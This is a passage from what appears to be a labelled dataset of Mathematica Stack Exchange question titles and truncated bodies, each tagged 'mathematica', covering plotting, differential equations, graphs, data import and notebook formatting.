... ",['mathematica'] "Title: How can I extract coordinates of the nodes of my graph? Body: I have this output for my graph. ... ",['mathematica'] "Title: Drawing a complete graph of an ego network Body: I have an ego network (a network of a person (ego) and his friends). It is drawn with the ego at the center surrounded by the friends. It might be possible that all the friends are connected to each ... ",['mathematica'] "Title: Substituting Data from File Body: I have sets of Diff. Eq. that I'd like to solve symbolically, then substitute in numerical values for some of the symbols. I'd like to store the value for each symbol in a file, e.g., an excel ... ",['mathematica'] "Title: Can Mathematica interact with OPC server of Microsoft? [closed] Body: I am considering to interact with Microsoft OPC server with Mathematica. Writing a Solver of Optimization. Is it possible ? ",['mathematica'] "Title: Compute the rank of a matrix with variable entries Body: Say I have a matrix like $$ M=\left( \begin{array}{c c c} x & xz & w-2x \\ wz^3 & xy & z \\ y^2-z^3 & x+w & z+x^5 \end{array} \right) $$ is it possible to ask Mathematica ... ",['mathematica'] "Title: Problem with SerialIO package and Lego NXT Body: I'm following a guide from The Mathematica Journal that describes how to use Mathematica with the Lego Mindstorms NXT but have some trouble getting started and got stuck with the SerialIO package. I ... ",['mathematica'] "Title: Making axis numbers larger on Mathematica plot Body: I want the numbers along the axis to be larger than the default value. Can this be done? The reason I am asking is because I frequently make charts in Mathematica and use them in Word. I export ... ",['mathematica'] "Title: Converting Mesh in Density Plots to a Graph Body: Consider the following line of code: ... ",['mathematica'] "Title: Why the difference? Body: When I do the double sum using the sigma notation I get $$1 + \sum_{n=0}^{\infty}\sum_{k = n}^{\infty} \frac{1}{(k+2)k!}$$ $1 + e - \cosh[1]$ When I do the sums as below, I get the expected ... ",['mathematica'] "Title: MathKernel.exe capped to use only 13% of CPU? Body: I am using a Windows machine with 8 cores. No other process than Mathematica 8 is using CPU time right now - still the MathKernel.exe CPU usage does not go beyond 13%. My current computation takes ... ",['mathematica'] "Title: Cannot save file Body: Hello I have a problem in saving files in Mathematica. I can't save not only notebooks but also figures. When I choose to save the notebook it open a window that says: Mathematica could not find ... ",['mathematica'] "Title: How do I create a graph with randomly directed edges starting from a undirected graph? Body: I have an undirected graph $G$. How would I randomly assign directions to some fraction $p$ of the edges? How might I do this efficiently / quickly provided I have a large graph structure? For ... ",['mathematica'] "Title: Why is FindInstance failing when I relax a set of constraints? Body: I'm attempting to use FindInstance to generate coordinate sets for plausible triangles with edge length distance constraints. E.g.: ... ",['mathematica'] "Title: DSolve::overdet for system of linear PDEs Body: I would like to resolve symbolically the following equation: ... ",['mathematica'] "Title: nested use of Apply/Map/MapThread in pure functions Body: 1. My main question I have a function with two argument slots. I wan't to apply this function to 2 lists with different length's. I thought in this solution: ... ",['mathematica'] "Title: Problems with NDSolve and stiffness Body: I am trying to solve an ODE in chemical kinetics: $$\begin{align*} \frac{\mathrm d[x]}{\mathrm dt} &= -k_1 [x][y]\\ \frac{\mathrm d[y]}{\mathrm dt} &= k_1 [x][y] - k_3[y] \end{align*}$$ My ... ",['mathematica'] "Title: NIntegrate fails while Integrate works Body: I have a function $f(t)$ defined as $f(t)=\int\limits_0^t(t-\xi)^{\alpha-1}\ \cos(\xi)\ d\xi$ where $0<\alpha<1$. I now want to evaluate this integral at various values of time. Therefore, my ... ",['mathematica'] "Title: What is the best way to save a large graph object, allowing it to be reloaded quickly in a new kernel? Body: I generated a very large graph, too large to simply display and manipulate with copy/paste operations. How can I somehow save the graph to a file to allow it to be rapidly reloaded after I quit out ... ",['mathematica'] "Title: How can I add standard deviation to my plot? Body: I have a plotted my forecasted and real data in one graph, but I can't figure out how to plot the standard deviation on the same graph. The following is the code I have used: ... ",['mathematica'] "Title: Plot several lines with different starting points on the x-axis Body: First of all, I would like to apologize in advance if I don't use the correct terms or if I express myself unclear but I just started to work with Mathematica. I'm simulating electricity prices and ... ",['mathematica'] "Title: How to find an asymptote of a logarithmic curve Body: An exponential decay curve has been plotted asymptoting at approximately x=30 (correct for what I am looking at) How can I find the exact value from the curve? I was hoping to be able to use ... ",['mathematica'] "Title: Using NIntegrate inside Table [closed] Body: I have defined the function(GMTD2) below which when called displays the corresponding contour plot. The List k1 is generated by the Table environment whose third part is that long function which is ... ",['mathematica'] "Title: How can I fix Mathematica's text line-breaking algorithm not to line-break so soon? Body: I have some custom plotting functions that simplify the placement of footnotes and source notes under the plot. It is important that the line length of the footnotes fills up the available space and ... ",['mathematica'] "Title: Creating Plot with varying scale [duplicate] Body: I have four series of data that I would like to plot side by side. They look something like this: As the y-coordinate goes from 80 to 50 In the first series, the x-coordinate varies from around 20 ... ",['mathematica'] "Title: How to detect crosses and circles in 60x60 raster images? Body: I have hand-written 60 pixel times 60 pixel squares. I need to detect whether they are empty, x or circle. TextRecognize function fails. Is there some other function to process this kind of raster ... ",['mathematica'] "Title: How can I draw a 3D cross-section of a 3-torus embedded in 4D Euclidean space? Body: I have a $3$-torus ($\mathbf S^1\times\mathbf S^1\times \mathbf S^1$) embedded in 4D Euclidean space. How can I draw the cross-section of this $3$-torus cut by a 3D Euclidean space in an arbitrary ... ",['mathematica'] "Title: Mapping higher dimensions to color, opacity, point size, etc Body: I have a set of points of dimension >3, and I'd like to modify ListPointPlot3D so that the higher dimensions are mapped to different variables, such as color, opacity, point size, etc. so for example ... ",['mathematica'] "Title: Finding all roots of the system of two complex equations Body: I need to find all roots for the system of two complex equations. Obviously I can rewrite them as 4 real however problem remains. I have looked through routines connected with using ContourPlot ... ",['mathematica'] "Title: Style of Slideshow Body: So I am giving my first shot at making a Mma slideshow. But I am finding difficult to change the formatting of Sections and others in the slideshow. I can change the style of Sections in the Working ... ",['mathematica'] "Title: Font sizes in graphics Body: I'm trying to find an explanation for the different sizes I'm seeing for fonts added to graphics in different ways, and haven't yet located an easy to understand explanation. Here's a minimal ... ",['mathematica'] "Title: Simulate a simple spinner Body: I'm teaching some simple ideas in probability to students in grade 7. The ""spinner"" below works, but I'm wondering how I could make it just a bit more realistic by having it actually ""spin"" around a ... ",['mathematica'] "Title: Ploting from Matrix [closed] Body: I use Import function from excel in order to get my data. My data contains 3 columns. ... ",['mathematica'] "Title: rule transformations for compositions of tensor products Body: The tensor product satisfies far commutativity: $(f \circ g) \otimes (h \circ k) =(f \otimes h) \circ (g \otimes k)$. I have some replacement rules I'd like to apply to an expression containing ... ",['mathematica'] "Title: Why doesn't Mathematica plot $n(-1)^n$ with Plot? Body: I was in doubt if this question should be asked in Mathematics.SE or Mathematica.SE, but I've decided this site would be more appropriate, because I think those who read my question here will know ... ",['mathematica'] "Title: Accessing Twitter API using Mathematica Body: How do interact with the Twitter API using Mathematica? SocialMediaData is a lovely function, but appears to be severely limited in what it can draw from Twitter. For example, if I want to get a list ... ",['mathematica'] "Title: How to expand a general expression in cross and dot product in Mathematica Body: I am looking for a way to simply the general expression in cross product and dot product with general vectors. I got a help in How do I simplify a vector expression? but soon I find that it doesn't ... ",['mathematica'] "Title: How can I monitor and detect when a website has changed? Body: I'd like to detect when a website has changed, in particular when new products are announced on a site that doesn't change to often. Here's the code I wrote but I don't think it is perfect. Also the ... ",['mathematica'] "Title: Computing distance matrix for a list Body: Using functional programming in Mathematica, how can I compute a distance matrix for every element in a list of matrices... The distance would be computed between the item in the list and a ""target ... ",['mathematica'] "Title: How can I efficiently write formatted data to a Gaussian Cube file? Body: I am working with data files that contain information about electronic wave functions. The data format is specified by the quantum chemistry program Gaussian. I need to import the data, manipulate ... ",['mathematica'] "Title: How to apply tags to expression terms? Body: I often see on this site and at the mathgroup the repeated questions on how to rearrange expression that Mathematica ""likes"" to keep in one form, but the user prefers in another. Consider this trivial ... ",['mathematica'] "Title: Simulating discrete time stochastic dynamic systems Body: What is the canonical way of simulating discrete time stochastic dynamical systems in Mathematica using the new functionality of Random processes? To take a concrete example, lets consider the ... ",['mathematica'] "Title: integrating slightly complicated expression which includes Abs Body: I have been waiting for Mathematica to give me something for the following integral, errors welcome, but it has been ""running"" for almost 30 minutes now. ... ",['mathematica'] "Title: Symbolic evaluation fails because it exceeds $RecursionLimit Body: I am trying to perform a simple arithmetic in complex algebra. ... ",['mathematica'] "Title: Plotting a complex function [duplicate] Body: What does it mean if this message appears: {Im[(1-E^Times[<<3>>] f)/(1-Power[<<2>>] f)]-0,Im[(1-E^Times[<<3>>] f)/(1-Power[<<2>>] f)]-0} must be a list of equalities or ... ",['mathematica'] "Title: Graph Plotting? [duplicate] Body: I am trying to produce publishing quality graphs. I would like to export graphs from a Notebook to Ai (Adobe Illustrator). How do I do this? Just started using Mathematica, very new! Thanks, Anousheh ... ",['mathematica'] "Title: Help bogged down at first query Body: When I open help at the first time in a mathematica session and I submit a query it always get bogged down for many seconds until a message appears as in the picture. Then I select continue waiting, I ... ",['mathematica'] "Title: How can I use FindRoot on an expression from NDSolve? Body: I have a second order ODE that I can only solve numerically using NDSolve, but I then need to use the solution in FindRoot and am running into errors. A simplified but analogous problem is the ... ",['mathematica'] "Title: ItoProcess for stochastic reaction-diffusion equation Body: I am trying to simulate a stochastic differential equation in time and space, but I'm unsure if this can be done in Mathematica. The sde that I would like to study is: $$ ... ",['mathematica'] "Title: Doing local FFT on huge 3D vector data cell mesh and visualizing it spatially? Body: Simulation type: I'm running a simulation with the OOMMF micromagnetics package http://math.nist.gov/oommf/ where are magnet is represented by a mesh of 3 million cells, it gets excited by a ... ",['mathematica'] "Title: Inequalities with assumptions and constraints Body: I'm using Mathematica 8 I've been searching the net without luck for this specific solutions: Suppose I have an inequality f(x;M,m)>0 where I KNOW that M>4m and m>0. How can I let Mathematica know ... ",['mathematica'] "Title: Plotting & Solving Body: I'm trying to plot replicate a graph from one of the articles and it has series of equations it has solved. here is my code so far: ... ",['mathematica'] "Title: Weighted Kirchhoff Matrix? Body: I have a weighted graph and I want its graph Laplacian matrix (what Mathematica calls the Kirchhoff matrix in the unweighted case). Is there an easy way to get this? For example, the command: ... ",['mathematica'] "Title: Make good looking histograms from frequency data Body: I allways do my calculations in Mathematica and I make my histograms using ROOT language. However I am wondering is it possible to make good looking histogram inside Mathematica? A sample of what I ... ",['mathematica'] "Title: Find white regions in image Body: At the white regions of this image I want to add a few random arrows. I would like to realize two different of adding the random arrows: The arrows may not leave the white region The arrows have to ... ",['mathematica'] "Title: How to collect terms with positive powers in polynomial Body: I am trying to collect all terms with non-negative powers of $x$ in polynomials like $\frac{1}{x^2}\left(a x^2+x^{\pi }+x+z\right)^2$ First expand the polynomial ... ",['mathematica'] "Title: Parallelization issues Body: I'm programming an algorithm where I have to evaluate, at each iteration, a characteristic of a subgroup of data. An evaluation of a subgroup takes 2-3 secondes and I have 200 sugroups to test per ... ",['mathematica'] "Title: Triangle mapped on a sphere in $\mathbb R^3$? Body: How can I map a triangle on an sphere? I want to visualize (plot or animate) it for my student in my Non Euclidean geometry. I have no restrictions on the triangle's kind or on the sphere in $\mathbb ... ",['mathematica'] "Title: Tutorial for basic numerical methods for PDEs Body: I'm afraid this is probably not going to be a ""good"" question, but I'd like to use Mathematica to learn about basic numerical schemes for solving pdes. For example, I'd like to compute the solution of ... ",['mathematica'] "Title: Composing an image with a plot Body: I'm trying to illustrate the solutions to a textbook problem dealing with quadratic functions. This will involve plotting a quadratic and overlaying the plot and the image. Here is the textbook ... ",['mathematica'] "Title: Using non-trivial objects in RLink Body: I would like to use RLink to access igraph, which has an R interface. I do not know R; my motivation for learning it is to be able to access igraph easily. I installed igraph using ... ",['mathematica'] "Title: How to migrate or export projects with Workbench Body: Imagine the following scenario: user A is developing a project with documentation in workbench. She wants to give her (unfinished) work to user B , so that user B can continue work on the project and ... ",['mathematica'] "Title: Iterating Reads From a Text File and Writing the Results of Operation Body: I have a very large text (TSV) file. I am able to now read single line, thanks to StackExchange. I am able to read a part of that line using the part operator. I want to iterate through the whole ... ",['mathematica'] "Title: FindMaxValue vs FindMaximum Body: I'm studyng the maximum value of the following function ... ",['mathematica'] "Title: Speed up plot of $\sum_{j\ge1} 2^{-j}(1-2^{-j})^{n-1}$ Body: I'm a beginner at Mathematica. I would like to plot the following function: $${n\over2} \sum_{j\ge1} 2^{-j}(1-2^{-j})^{n-1}$$ However the following code is just too slow: ... ",['mathematica'] "Title: How do I represent a system dynamics feedback loop? Body: In System Dynamics, if I want represent the relationship between Speed and Distances, I create a Flow (Speed) and a Stock (Distance) as you can see in this Insight Maker Sample . Heres an Image of how ... ",['mathematica'] "Title: How to export attributes or annotations to an HDF5 file? Body: I'm trying to export attributes and annotations to an HDF5 file. But the documentation here is horrible and there are no examples of this. I spent some time playing, but I can't get it to work. Here ... ",['mathematica'] "Title: Plotting data that lands on the axis Body: I have a data point that lands right on the Y axis, which corresponds to the index of refraction of some sample. the x axis is the mole fraction of chloroform of my samples. How do I get the first ... ",['mathematica'] "Title: Can Mathematica understand Excel dates when in number format? Body: I have a very large Excel file with dates in the format 2013/01/17 08:02:00 PM which is a custom date format. I have to convert this file to CSV in order to import it into Mathematica because I can't ... ",['mathematica'] "Title: Why the coloring in Block construct? [duplicate] Body: I want a function that works like in the following example: it gets an expression which contains a variable var and evaluate it setting setting var = value. I used ... ",['mathematica'] "Title: How to construct a new list made from a function that operates on two lists Body: I need to take two lists (each list contains the number of moles of a chemical). I have a function calledFraction that takes the each entry of the list and then calculates the mole fraction of ... ",['mathematica'] "Title: Change “Format type of new input cells” to InputForm Body: In Preferences -> Evaluation there is a menu to change ""Format type of new input cells"" and the only options available are: StandardForm, TraditionalForm, and Raw InputForm. Is it possible to set ... ",['mathematica'] "Title: Multiply list of pure functions by list of scalars? Body: I am trying to write a function that returns a list of pure functions. The last step in the function, is to multiply the list of pure functions by a list of scalars (i.e. matrix multiplication). When ... ",['mathematica'] "Title: Use Results from Manipulate Plot NDSolve to create another plot versus variable used in DE Body: I created my plot using using this input: ... ",['mathematica'] "Title: List of numbers without common factors with a certain number Body: Is there any function in Mathematica which directly gives an array of integer numbers with no common factor with a certain integer number? For example, all the integer numbers between 0 and 1728, ... ",['mathematica'] "Title: Creating functions from output of other calculations Body: Apologies in advance if the title is vague, I'm not really sure what to call this. I have a function (call it 'foo') that generates a largeish polynomial, and it is natural to make the variables be ... ",['mathematica'] "Title: InterpolatingFunction with growing Domain Body: I want to find roots of a function that is very slow to calculate (the function itself involves a bunch of FindMaxima) so I interpolate the function in a region where I think it likely the the root ... ",['mathematica'] "Title: Killing MathKernels running in the background Body: I have this question: sometimes I need to interrupt my mathematica batch jobs, but how can I get to cleanly kill the MathKernels that are still running on the background? Every time I attempt to kill ... ",['mathematica'] "Title: How can I change the position of my plot legends? Body: As the title indicates, I want to change the current position of the legends in a combined plot. The Mathematica code I used is ... ",['mathematica'] "Title: NetLink Exporting Images doesn't work (Unknown string escape) Body: Exporting Image files (intermittently) doesn't work: I get messages back indicating the error is to do with escaping characters: ... ",['mathematica'] "Title: Search the neighborhood area along a line in an image Body: I am trying to search for the black areas along a line (the horizontal line shown below). Though it is straight in this picture, it could be of irregular shape in other cases. It seems that the ... ",['mathematica'] "Title: How to blend some colors on a curve Body: I need to define a color gradient on a 3D curve, but I'm having some problems with this. Suppose we have a 3D curve defined as a parametric function of some real variable ... ",['mathematica'] "Title: Mathematica loop code not behaving as expected Body: ... ",['mathematica'] "Title: Haiku Extractor Body: Inspired by the cool Tumblr Haiku Times that searches for accidental haiku in New York Times articles, I tried my hand at implementing such a search in Mathematica for my own text samples. I'm still ... ",['mathematica'] "Title: Stop use of scientific notation when displaying FrameTicks Body: I have a dynamic graph which changes depending on the current selection from a drop down box. All selections from the drop down box give fine results except one. For the one selection it shows the ... ",['mathematica'] "Title: Numerical Error with Large Matrices Body: I am writing a Finite Element Analysis program in Mathematica. The code involves handling a large matrix with large entries. I get an error when I try to use Mathematica's ""LinearSolve"" to solve a ... ",['mathematica'] "Title: Plotting data points: Optimizing size and visuals Body: The following problem is one that may have showed up to you while plotting a large data collection. Suppose you have a data set of say 1 million points. ... ",['mathematica'] "Title: How to change the value of an array that is outside the For loop, from inside the For loop [closed] Body: H is a square matrix which depends on the vector d which I define below. I redefine d in each iteration but I need to plug it in H in each iteration aswell. It is easy if I define H inside the For ... ",['mathematica'] "Title: ErrorListPlot Legend with Markers Body: I'm trying for some days now to integrate markers in my legend. I have a ErrorListPlot with markers and a legend but difficulties to realize the markers in the legend as well. Thanks a lot for your ... ",['mathematica'] "Title: Trying to solve a set of (coupled) 1st order algebraic-differential equations [closed] Body: I'm trying to reproduce an anterior result on bio-physics (DOI: 10.1103/PhysRevLett.91.268101). The problem is to solve a set of coupled differential-algebraic equations. On an attempt to do so, ... ",['mathematica'] "Title: Benchmarking expressions Body: It often happens that I'd like to know which of two or more alternative expressions (that should evaluate to the same value) is fastest. For example, below are three ways to define a function: ... ",['mathematica'] "Title: Convergence and value of a complex power series Body: I've done a little math and I got the following power series expansion of $\log z$ about $z_0=-2+i$. $$\log z=\log(-2+i)+\sum_{n=1}^{\infty}\frac{(-1)^{n+1}}{n(-2+i)^n}[z-(-2+i)]^n$$ I've shown that ... ",['mathematica'] "Title: Define new number set Body: May seem strange at first, but can you make mathematica change the value of 0 to 10 and 11 to 1 for all occurrences. Let me explain: I'm looping through a matrix and for each element, I want ... ",['mathematica'] "Title: How to define a vector with automatically added symbolic elements with subscripts Body: I want to define a vector lets say k containing elements Symbolize[Subscript[k, 1]], k2, k3 ... etc. When I define lets say k4 . I want the symbol automatically added to vector k. Something like ... ",['mathematica'] "Title: HighlightGraph with style Body: In this picture you see a graph. The shortest path between vertex 5 and vertex 3 is highlighted in red. Instead I want blue highlighted edges of thickness 10. ... ",['mathematica'] "Title: Importing multiple files using a for-loop Body: once again I am stuck solving a seemingly easy problem :( I would like to make a List of tables by importing data from several txt-Files. Importing the data into a table works so far and I am able to ... ",['mathematica'] "Title: Using a loop to make a new list by taking elements from multiple lists [closed] Body: I have defined three lists and I need to be able to take elements from them periodically and put them in a new list. I know I need to use some form of a loop but I am at a loss. Any suggestions? ",['mathematica'] "Title: FindClusters for 3D Pancake/Platelet Shapes Body: I'm looking to properly cluster a dataset of roughly 3 million data points in 3-space. The shapes form closely spaced ""clusters"" that resemble pancakes. Here is a downsampled dataset: ... ",['mathematica'] "Title: How to extract data from a list? [duplicate] Body: I have a long list of coordinates defined in some 8D space. I need to extract the first three coordinates only. How ? For example : ... ",['mathematica'] "Title: A While Loop with two different steps/iteration Body: I'd like to know if there is a possibility to solve an equation in a while loop with 2 different steps. I want the step to be small at the beginning and bigger after a certain value of sigma (sigma is ... ",['mathematica'] "Title: Fitting data without an equation Body: Let's say I have some data generated by anything. For practical sake, let's say I was able to generate a sequence of numbers through a recursion and I listed them out through a table of numbers. ... ",['mathematica'] "Title: Solving derivative of cumulative normal distribution log likelihood Body: I am a newbie and I'm trying to use Mathematica to obtain the symbolic Maximum Likelihood Estimation for a cumulative normal distribution. So far I have reached the step where I have the derivative of ... ",['mathematica'] "Title: Workbench error message: LinkObject::linkv: Argument Null in Null is not a valid LinkObject Body: From time to time I get this error message when I save my .m file in Wolfram Workbench: LinkObject::linkv: Argument Null in Null is not a valid LinkObject I can't really figure out what causes this ... ",['mathematica'] "Title: Which integration strategy to use for this product of polynomials? Body: What would be the ideal integration strategy for a function like this: $$f(x_1,x_2,\dots,x_N)=\prod_{i=1}^Nx_i^{c_i}\Theta(x_i-p_i)$$ where $x_i,p_i\in \mathbb{R}$, $\Theta$ is the Heaviside function ... ",['mathematica'] "Title: Why doesn't Translate work with PolyhedronData? [closed] Body: I am trying to view dodecahedrons distributed around a space, but the above code fails. The expression ... ",['mathematica'] "Title: What is the equivalent of TogglerBar that will work with Manipulate? [closed] Body: I use this code to pass on options to a custom function: ... ",['mathematica'] "Title: Parameters for the CIE XYZ Color Space in Mathematica Body: In Mathematica, producing a color based on its RGB parameters is easy; one can use (for example) ... ",['mathematica'] "Title: Modular arithmetic - efficiently calculating the remainders of factorials Body: When working on this question regarding the divisibility of the sum of factorials, I decided to write some code to test ""small values"" of the problem using the following code. ... ",['mathematica'] "Title: Fortran kind of matrix creation [closed] Body: I want to create the matrix H of dimensions nxn and matrix elements H(i,j). Because of the physical problem I am dealing with, it is necessary to build it in the following not trivial way. I know how ... ",['mathematica'] "Title: Why does simplification in Mathematica depend on variable names Body: Mathematica fails to put the following into an obvious simplest form: ... ",['mathematica'] "Title: Can we give Mathematica hints for symbolic sums and products? Body: I have this question at MO and I would like to know if we can give hints to get the symbolic sums and products to come out as $\frac{6}{\pi^{2}}\pm\epsilon$ instead of $0.60792710...$ accurate to ... ",['mathematica'] "Title: Mark selected sub-lists in the list they were selected from Body: I've got this simple problem with two lists. I select some items from a list, but I want to visualize the difference between the previous list and the list that I create with ... ",['mathematica'] "Title: Changing default range for x- and y-axis in ListPlot3D Body: How do I change the default values for the x- and y- axis in this example without altering the z-axis values? For instance, I want the x-axis to follow a range based on ""x= 0.01 i+3"" (not just i) , ... ",['mathematica'] "Title: Travelling salesman with start and end points for 30 points Body: I am doing a route optimisation for delivery vehicles and failing dismally. Please see problem statement below. My current solution uses FindShortestTour, but this does not have defined start and end ... ",['mathematica'] "Title: Project Euler (memory and speed issues) Body: Let n be a positive integer. An integer triple (a, b, c) is called a factorisation triple of n if: 1 ≤ a ≤ b ≤ c a·b·c = n. Define f(n) to be a + b + c for the factorisation triple (a, b, c) of n ... ",['mathematica'] "Title: Preparing data for making an ErrorListPlot Body: I often have the following notebook in Mathematica, which I use to make a dataset and associated errors: ... ",['mathematica'] "Title: How can I get the style of selected cells? Body: How can I get the style such as Input, Text, Code, etc., of a selected cell? If a group of cells is selected, how can I get styles of all the cells in the group? ",['mathematica'] "Title: Asymptotic expansion of a list Body: I am trying to calculate a asymptotic series expansion of a list. ... ",['mathematica'] "Title: Reading RData files without RLink Body: I am using Mathematica 8. I would like to read some RData files which I have received. I do not currently have an installation of R on the machine with Mathematica. ",['mathematica'] "Title: Faster way to convert triangle list to edge list with no duplicates Body: I have a list of triangles returned by a Delaunay triangulator, in the following format: ... ",['mathematica'] "Title: How to revolve a surface about a line other than the $x,y,z$ axes? [duplicate] Body: I just started working with Mathematica 8 and I'm having trouble revolving a function the way I want. I have to revolve the function $x^2/4 +2$ and $y= 0$ around $y=6$ to form an ashtray, but I ... ",['mathematica'] "Title: Problem using NDSolve Body: This might be some simple mistake, but I am running out of ideas. I am trying to fit an ODE system to some data. This error keeps appearing NDSolve::nlnum: ""The function value {0.299812 - ... ",['mathematica'] "Title: Define a Plot3D function with custom options [duplicate] Body: I am trying to define a Plot3D function with custom options, following (this previous SE question), but I'm running into a brick wall. I've narrowed the problem to the following 'toy' code: ... ",['mathematica'] "Title: How to punch a hole in some 3D distribution of points Body: Suppose we have a long list of 3D Cartesian coordinates, defining a distribution of random points in 3D space. How could we remove all the points inside a sphere of radius ... ",['mathematica'] "Title: Digital Elevation Maps (DEM) are Warped yet ReliefPlot renders as a rectangle - how do i join? Body: I downloaded several USGS Digital Elevation Maps (DEM files) corresponding to 12 adjacent areas. Each file Imports[] into Mathematica and I can render the individual ... ",['mathematica'] "Title: How to use ScientificForm in computation Body: Lets say I want to add 2 values : ... ",['mathematica'] "Title: Cubic polynomial interpolation with velocities listed rather than some points Body: I am trying to use the function BSplineFunction[] to create a natural cubic spline. Normally what is done is that you specify ""SplineDegree -> 3"" and include a list of points and it will carry out ... ",['mathematica'] "Title: How can I define a Step-Wise function in Mathematica (Not using Heaviside Step Function)? [closed] Body: I need to define a function, which has very different behaviour in different regions. There are about 13 different regions. A sample of my function is the foloowing table: I want to define it as a ... ",['mathematica'] "Title: Graphical representation of a moving sound source Body: Some explanation since I have got a specific and another more open-ended question: I used two microphones in a 90° arrangement (see picture below) to capture sound from a source moving around the room ... ",['mathematica'] "Title: Using the LQGRegulator to build a human operator model Body: I'm trying to build a human operator model using an optimal control model in Mathematica: The vehicle dynamics are given by ... ",['mathematica'] "Title: Doubts on scripting: error messages when trying to run and how to process lots of files Body: I have created my first mathematica 'program' as I think of it, to do some image processing. After reading in an image, it does a lot of stuff (including smoothing, fourier transform, functional ... ",['mathematica'] "Title: Computing Ehrhart's polynomial for a convex polytope Body: Is there a Mathematica implementation for computing the Ehrhart polynomial of a convex polytope which is specified either by its vertices or by a set of inequalities? I am interested in knowing this ... ",['mathematica'] "Title: Axes Origin & Labels in 3D Plot Body: I'm looking for a way to have the axes at the origin in a 3D plot and to label the (x,y,z) axes in the usual way---with x near the end of the drawn portion of the x axis, y near the end of the drawn ... ",['mathematica'] "Title: Command completion in Wolfram Workbench 2 vs command completion in Mathematica 9 Body: I don't have access to Workbench 2, but I tried a trial version of Mathematica 9. On reading about the features of Workbench 2, I found that it also supports code completion. I am looking forward to ... ",['mathematica'] "Title: Finding strings in Web Code [duplicate] Body: I haven't found an answer that solves my problem, although I think it's actually a simple one. It seems hard to me because I don't have a lot of experience with string patterns. I have a Web Code ... ",['mathematica'] "Title: Why this system of equations doesn't work [closed] Body: This system of equations is interesting because it should describe the motion of three bodies in the space. System doesn't work because of mistakes in code, I guess. Another problem is how to set ... ",['mathematica'] "Title: How to change the Integer to a special form in an expression? Body: I have an expression. I want to change all the Integers to a new form. The rule is, x_Integer->x._f. But we should consider some special cases. For example, ... ",['mathematica'] "Title: Plotting a vector field Body: Can I somehow plot a vector field and the scattered data point associated with each and every vector? Also, is there any way to prevent Mathematica from interpolting the vector field? I am trying to ... ",['mathematica'] "Title: Help on output formatting Body: Again, I am writing homework sheets. I have tried ... ",['mathematica'] "Title: SendMail in Dynamic Refresh executed continuously in a loop. UpdateInterval and TrackedSymbols ignored! [closed] Body: I am writing a program that simulates water storage with combined rain and pump fed supply. To allow a hypothetic employee in control to overview the situation while inspecting some remote locations ... ",['mathematica'] "Title: Pretty way to group elements at odd and even positions Body: How to make a function that splits list elements by odd and even positions? Shortest implementation wins. I myself came up with: ... ",['mathematica'] "Title: Non-linear scaled X axis in DateListPlot Body: I have a lot of plots like this in Mathematica: And I would like to transform it in something like that: Where the information between 0 and 7 hours and 18 and 00 hour is ""compressed"" in the ... ",['mathematica'] "Title: Map over list of functions Body: I would like to convert a list of $n$ complex equations to a list of $2n$ real ones. At the moment I am doing it like this: ... ",['mathematica'] "Title: Plotting a graph with conditions Body: I am a newbie in Mathematica and is currently using Mathematica v9.0. I would like to consult if anyone knows how can I plot a given functions with conditions as shown below on how they look like. ... ",['mathematica'] "Title: Can I write a package with dynamic variables? Body: My Notebook has no functions, but has a lot repetitive code with dynamic variables. I want to put the repetitive code into a package. Can i write a Package with functions that use dynamic variables? ",['mathematica'] "Title: How to make plots scaling consistent when running a series of simulations? Body: In my function it returns a plot of my data, say example, using ListLinePlot, and this is the size I obtain: but when running a series of simulations inside a Table: ... ",['mathematica'] "Title: Implementing Remainder Tree Body: I want to implement Remainder Tree based on this. With the answers on SE I've come up with: ... ",['mathematica'] "Title: How can I plot a function and its partial sums? [duplicate] Body: Possible Duplicate: How to Plot an Infinite Series Coding mistake? I have Mathematica v9.0 and I am a newbie to Mathematica. I am trying to plot a function $f(x)=x$ over the interval ... ",['mathematica'] "Title: Efficient code for the Ten True Sentences puzzle Body: I am trying to solve Ten True Sentences Puzzle. Take a look at the following sentences: The number of times the digit 0 appears in this puzzle is _. The number of times the digit 1 ... ",['mathematica'] "Title: Why is Mathematica treating my text as input? Body: I have typed in some text input by using Alt-7 to convert everything into text, but why is text still evaluated? Or is there better way to make comments other than (* text here *), because in my text ... ",['mathematica'] "Title: Visualizing directories Body: How do I plot the content of a directory and all its subdirectories into infinity using TreeForm? I've tried using a mix of FileNames, StringSplit and GatherBy but in the end I couldn't find even a ... ",['mathematica'] "Title: Faster GCD Implementation Body: Is there any chance to write a faster GCD than the built-in one in Mathematica? @Mr.Wizard has written one in this question (although it's not for this purpose) which is 6 times slower on a 100k ... ",['mathematica'] "Title: Is it possible to extract the rules of cellular automata as Mathematica code? Body: I would like to run cellular automata in the vertical direction if row index is greater than column index and in the horizontal direction if row index is less than column index, in a square array ... ",['mathematica'] "Title: error when defining a compiled function with ReplacePart Body: I always have difficulty in writing a non-trivial compiled function. I'm using Mathematica 9. Please see the following code ... ",['mathematica'] "Title: Question on operator: // N Body: I've seen a notebook with the following: ... ",['mathematica'] "Title: Handling “Solve was unable to solve the system with inexact coefficient” errors [duplicate] Body: Possible Duplicate: How to get rid of warnings when using Solve on an equation with inexact coefficients? I've been trying to calculate the following in Mathematica: ... ",['mathematica'] "Title: How can I colorize an imported model? Body: How can I colorize an imported model from for example 3ds max? I'm trying to find the way to colorize a 3D plot from an imported model with something like this: ... ",['mathematica'] "Title: Sharing an axis between two plots [duplicate] Body: Possible Duplicate: 1 Plot, 2 Scale/Axis Do I have to code each case of this Grid full of plots separately? What's the most straightforward way to share an axis between two plots in ... ",['mathematica'] "Title: How can I find the lines that go through? Body: I have a 80 x 80 x 50 dataset. From this dataset, I get some curves. These curves are randomly seeded, by which I mean that their starting points have been chosen randomly. Below, you can find an ... ",['mathematica'] "Title: How can I view the code implementing a built-in Mathematica function? [duplicate] Body: Possible Duplicate: What is the most convenient way to read definitions of in-memory symbols when we don’t have the source files? I would like to look at the code that implements ... ",['mathematica'] "Title: Can I modify line-break behavior of inline cells? Body: When I insert an inline cell into a text cell that is too long for the whole inline cell to fit on the current line, Mathematica pushes the whole inline cell to the beginning of the next line. That ... ",['mathematica'] "Title: Mathematica9 linux version crash, how to fix it? Body: Ubuntu 12.04 x86_64 kernel 3.2.0-35-generic Mathematica 9 linux version (x86_64) crashes with errors: X Error of failed request: BadGC (invalid GC parameter) Major opcode of failed request: ... ",['mathematica'] "Title: How do I use RSolve to solve a system of recurrence relations? Body: I am trying to solve a system of recurrence relations as follows. ... ",['mathematica'] "Title: Domain Coloring Body: My next project I'd like to start working on is Domain Coloring. I am aware of the beautiful discussion at: How can I generate this ""domain coloring"" plot? And I am studying it. However, a ... ",['mathematica'] "Title: Given a time series of n samples with a known probability mass function, how can I 